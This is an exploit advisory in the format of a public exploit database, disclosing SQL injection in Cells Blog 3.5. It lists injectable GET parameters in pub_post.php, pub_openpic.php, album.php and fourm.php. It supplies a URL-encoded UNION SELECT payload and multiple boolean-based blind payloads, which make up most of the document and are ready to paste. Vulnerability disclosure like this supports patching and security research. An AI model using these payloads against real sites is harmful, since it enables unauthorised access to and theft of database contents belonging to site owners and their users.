Cells Blog 3.5 - 'bgid' / 'fmid' / 'fnid' SQL Injection

# # # # #
# Exploit Title: Cells Blog 3.5 - SQL Injection
# Dork: N/A
# Date: 16.12.2017
# Vendor Homepage: http://www.cells.tw/
# Software Link: http://www.cells.tw/cells/
# Version: 3.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/pub_post.php?bgid=[SQL]&fmid=[SQL]
#  
# -7+UNION%20SELECT+0x253331%2c0x253332%2c0x253333%2c0x253334%2c0x253335%2c0x253336%2c0x253337%2c0x253338%2c%39%2c0x253331253330%2c0x253331253331%2c0x253331253332%2c0x253331253333%2c0x253331253334%2c0x253331253335%2c0x253331253336%2c0x253331253337%2c0x253331253338%2c0x253331253339%2d%2d%20%2d
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1 AND 9841=9841&fmid=7
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1&fmid=7 AND 2056=2056
# 2) 
# http://localhost/[PATH]/pub_openpic.php?bgid=[SQL]&fmid=[SQL]&fnid=[SQL]
# 
# Parameter: fnid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10&fnid=12 AND 1592=1592
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10 AND 3227=3227&fnid=12
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2 AND 6608=6608&fmid=10&fnid=12
# 
# 3) 
# http://localhost/[PATH]/album.php?bgid=[SQL]&fmid=[SQL]
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2&fmid=10 AND 9273=9273
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=2 AND 9536=9536&fmid=10
# 
# 4)
# http://localhost/[PATH]/fourm.php?bgid=[SQL]&fmid=[SQL]
# 
# Parameter: fmid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1&fmid=2 AND 5699=5699
# 
# Parameter: bgid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: bgid=1 AND 9899=9899&fmid=2
# 
# # # # #